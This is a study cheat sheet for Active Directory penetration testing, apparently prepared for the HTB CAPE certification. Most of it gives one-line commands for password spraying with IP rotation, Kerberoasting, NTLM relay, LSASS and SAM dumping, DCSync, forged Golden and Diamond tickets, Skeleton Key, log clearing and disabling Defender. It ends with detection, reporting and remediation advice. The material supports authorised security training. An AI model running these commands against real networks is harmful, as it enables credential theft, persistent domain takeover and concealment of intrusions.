HTB CAPE cheat sheet

AD structure: forest > tree > domain > OU. A forest is the security boundary; a domain is the replication and authentication boundary for most purposes.

Schema naming contexts: DC=, CN=Configuration,DC=, CN=Schema,CN=Configuration,DC= are replicated forest-wide; domain NC replicates to all DCs in that domain.

Critical ports: 389/636 LDAP(S), 3268/3269 Global Catalog, 88 Kerberos, 445 SMB, 135 RPC, 53 DNS, 5985/5986 WinRM.

Unauthenticated LDAP enumeration: bind anonymously or with null session to 389 and read rootDSE for namingContexts, then query defaultNamingContext for users, groups, and OUs.

LDAP filter building blocks: (objectClass=user), (objectClass=group), (objectCategory=computer), (adminCount=1) to find protected/privileged accounts.

BloodHound/SharpHound collects users, groups, computers, sessions, ACLs, and trusts; the shortest path to Domain Admin query maps reachable edges such as GenericAll, WriteDACL, ForceChangePassword.

Netexec (nxc) syntax: nxc smb -u user -p pass -d DOMAIN --users --groups --shares --sessions; nxc ldap -u '' -p '' --query '(objectClass=*)' for anonymous checks.

Kerberos pre-auth enumeration: querying AS-REQ for accounts with UF_DONT_REQUIRE_PREAUTH set (AS-REP roastable) or SPN-bearing accounts (Kerberoastable) requires only a valid or null domain context.

Password spraying targets low lockout thresholds: one attempt per account per window, staying under the domain's lockoutPolicy lockoutThreshold; check with net accounts /domain or nxc smb --pass-pol.

Common spray candidates: Season+Year, Company+123, Welcome1, Password1, and username-as-password; use a delay and rotate source IPs to avoid detection.

AS-REP roasting: request a TGT for a pre-auth-disabled account without credentials using GetNPUsers.py -no-pass -usersfile; crack the returned AS-REP with hashcat -m 18200.

Kerberoasting: request a service ticket for any SPN account with GetUserSPNs.py -request; the ticket is encrypted with the service account's NTLM hash, crackable offline with hashcat -m 13100.

LLMNR/NBT-NS poisoning with Responder captures NetNTLMv2 hashes from broadcast name resolution failures; relay with ntlmrelayx.py -tf targets.txt -smb2support to authenticate to SMB targets.

SMB signing disabled on a host enables NTLM relay; check with nxc smb --gen-relay-list or CrackMapExec --gen-relay-list.

GPP cpassword in SYSVOL Groups.xml decrypts with the public Microsoft AES key (gpp-decrypt) - treat any SYSVOL credential as compromised.

Anonymous or guest SMB share enumeration can reveal scripts, backup files, and config files containing credentials; check with smbclient -L //target -N and nxc smb --shares.

LSASS dumping: Mimikatz sekurlsa::logonpasswords, or remote via nxc smb -u user -p pass -M lsassy; requires admin/SYSTEM on target.

SAM and LSA secrets: reg save HKLM\SAM and HKLM\SECURITY, or secretsdump.py DOMAIN/user:pass@target; local SAM gives NTLM hashes for local accounts.

DCSync: secretsdump.py DOMAIN/user:pass@dc -just-dc-user krbtgt requires Replicating Directory Changes (DS-Replication-Get-Changes and -All) rights - default on Domain Admins, Domain Controllers, Enterprise Admins.

Kerberos ticket extraction: Rubeus dump or Mimikatz sekurlsa::tickets /export; pass-the-ticket with Rubeus ptt /ticket: or Mimikatz kerberos::ptt.

Overpass-the-hash: convert an NTLM hash to a Kerberos TGT with Rubeus asktgt /user: /rc4: /ptt; useful when NTLM is blocked but Kerberos is allowed.

ACL-based escalation: GenericAll on a user permits ForceChangePassword or targeted kerberoasting; GenericWrite on a computer permits Resource-Based Constrained Delegation abuse.

Unconstrained delegation hosts cache TGTs of connecting users; coerce a DC authentication (PrinterBug/PetitPotam) to the host, then extract the DC machine TGT and DCSync.

Local privilege escalation on domain-joined Windows: check unquoted service paths, weak service ACLs (accesschk), AlwaysInstallElevated, and stored credentials with cmdkey /list.

Pass-the-hash: nxc smb -u user -H or psexec/wmiexec with -hashes; requires NTLM authentication permitted on target.

Execution methods: psexec (writes service, noisy), smbexec (service shell), wmiexec (WMI, semi-interactive), atexec (scheduled task), winrm (5985/5986).

WinRM lateral movement: evil-winrm -i -u user -H or nxc winrm -u user -p pass -x whoami.

PsExec requires admin$ share and SMB (445); WMI requires RPC (135 + dynamic range); WinRM requires 5985/5986 - pick the method matching open ports.

Pivoting: Chisel (chisel server -p 8080 --reverse on attacker, chisel client with R:socks), or ligolo-ng for TUN-based routing; proxychains routes tools through the SOCKS proxy.

Port forwarding via SSH: ssh -L localport:target:targetport user@jump for local forward, -R for remote forward, -D for dynamic SOCKS.

Double pivot: from a compromised host, run another Chisel client through the first SOCKS proxy to reach a segmented network; chain proxychains entries or use ligolo agents per segment.

SMB relay as lateral movement: ntlmrelayx.py --no-http-server -smb2support -t -c 'command' when a victim authenticates and target SMB signing is off.

Golden Ticket: forge a TGT with krbtgt NTLM hash, domain SID, and any username; Mimikatz kerberos::golden /user:fake /domain:D /sid:S /krbtgt:H /ptt. Valid until krbtgt is rotated twice.

Silver Ticket: forge a service ticket with the target service account's NTLM hash; scope is limited to that service/host, no DC contact required.

Skeleton Key: patch LSASS on a DC (Mimikatz misc::skeleton) so any account authenticates with the master password 'mimikatz'; requires DA on the DC and is volatile.

Diamond Ticket: forge a TGT with a legitimate PAC by modifying a real TGT's encrypted PAC with the krbtgt hash - survives krbtgt rotation detection better than Golden.

Kerberos delegation: unconstrained caches TGTs; constrained uses S4U2Self/S4U2Proxy with msDS-AllowedToDelegateTo; RBCD uses msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer.

RBCD abuse: need GenericWrite/WriteDACL on a computer; create a machine account (or use an existing one), set its SID in msDS-AllowedToActOnBehalfOfOtherIdentity, then S4U2Proxy to the target.

Trust abuse: within a forest, SID history (ExtraSIDs) in a Golden Ticket grants Enterprise Admin across domains; across forests, trust keys (trustedDomain object) can be extracted with Mimikatz lsadump::trust.

ACL abuse primitives: WriteDACL to grant yourself DCSync; GenericAll on a group to add members; WriteOwner to take ownership then WriteDACL; ForceChangePassword on a user.

Golden Ticket persistence survives password resets of all accounts except krbtgt; rotating krbtgt twice invalidates forged TGTs.

AdminSDHolder: an ACE added to CN=AdminSDHolder,CN=System,DC=domain propagates to all protected accounts every 60 minutes via SDProp - a stealthy persistence path.

SID History injection: add a privileged SID to a low-privileged user's sIDHistory (requires DA/Mimikatz sid::add) so the user inherits access on token creation.

DCShadow: register a rogue DC (Mimikatz lsadump::dcshadow) to push arbitrary changes such as adding a SID to a user or modifying ACLs without normal replication logging.

Skeleton Key and custom SSP (mimilib) persist on the DC; custom SSP logs cleartext credentials at logon but requires LSASS modification and survives reboot only if registered.

Scheduled tasks and WMI event subscriptions (__EventFilter, CommandLineEventConsumer) provide host persistence; check with Get-ScheduledTask and Get-WmiObject -Namespace root\subscription.

Defense evasion: clear event logs (wevtutil cl), disable Windows Defender (Set-MpPreference -DisableRealtimeMonitoring $true), and use living-off-the-land binaries (certutil, bitsadmin, mshta).

Detecting persistence: monitor 4765/4766 (SID history), 5136 (directory object modification), AdminSDHolder ACL changes, and krbtgt password resets (4724).

Report structure: executive summary, scope and methodology, findings with severity (CVSS or qualitative), evidence (command output, screenshots), impact, and remediation.

Severity mapping: Domain Admin compromise = Critical; Kerberoastable service account with weak password = High; anonymous LDAP = Medium; missing SMB signing = Medium.

Evidence hygiene: redact NTLM hashes, passwords, and krbtgt material; reference them by hash prefix or file name only, never in cleartext in the report body.

Remediation for Kerberoasting: rotate service account passwords to 25+ characters, migrate to Group Managed Service Accounts (gMSA), and remove unnecessary SPNs.

Remediation for AS-REP roasting: remove UF_DONT_REQUIRE_PREAUTH from accounts that do not need it; audit with Get-ADUser -Filter 'DoesNotRequirePreAuth -eq $true'.

Remediation for DCSync/ACL abuse: audit ACLs on the domain root and AdminSDHolder with BloodHound or dsacls; remove non-default replication rights and GenericAll grants.

Remediation for Golden Ticket: rotate krbtgt password twice with a wait for replication between resets, then invalidate all Kerberos tickets; verify no lingering forged TGTs.

Post-engagement hardening: enforce LAPS for local admin passwords, tiered admin model (Tier 0/1/2), disable NTLM where possible, enable SMB signing, and monitor privileged group membership changes (4728/4732/4756).